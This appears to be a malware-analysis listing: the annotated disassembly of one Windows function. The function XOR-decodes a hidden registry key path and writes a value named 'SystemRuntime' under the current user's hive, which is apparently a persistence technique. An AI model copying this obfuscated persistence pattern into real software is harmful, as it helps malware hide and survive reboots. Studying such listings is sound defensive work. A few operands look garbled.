Function at 0x14002d7e0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x140065040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rdi, rdx
xor ebx, ebx
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x14002dac0
cmp qword [rcx + 0x18], 0xf
jbe 0x14002d82f
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 1
lea r9, [0x140058510]
lea rcx, [rbp + 7]
call fcn.14000e4c0
nop
mov r8d, 2
lea rdx, [0x14005850c]
lea rcx, [rbp + 7]
call fcn.14000b990
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], select
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x14002d8a4
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x19]
call fcn.14000b990
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], select
mov byte [rax], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x14002d91b
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d916
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002d916
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400312f8
movdqa xmm0, xmmword [0x1400587e0]
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14002d96a
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d965
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002d965
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400312f8
movdqa xmm0, xmmword [0x1400587e0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
movdqa xmm0, xmmword [0x140058890]
movdqu xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [0x140058880]
movdqu xmmword [rbp - 0x39], xmm1
mov dword [rbp - 0x29], 0x8db1928b
mov dword [rbp - 0x25], 0x8382999b
mov dword [rbp - 0x21], 0x85bdb283
mov word [rbp - 0x1d], 0x9f
mov byte [rbp - 0x1b], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx - 0x3b]
xor byte [rbp + rbx - 0x49], al
inc rbx
cmp rbx, 0x2d
jb 0x14002d9c0
mov byte [rbp - 0x1b], 0
lea rax, [rbp + 0x27]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x49]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14002da3d
mov eax, dword [rbp + 0x3f]
inc eax
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0xf
cmova rcx, qword [rbp + 0x2f]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemRuntime
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14002da61
lea rdx, str.Failed_to_open_registry_key
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140024a90
lea rdx, [0x140024f90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x47]
cmp rdx, 0xf
jbe 0x14002da9f
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002da9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002da9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400312f8
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140031000
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140007050
int3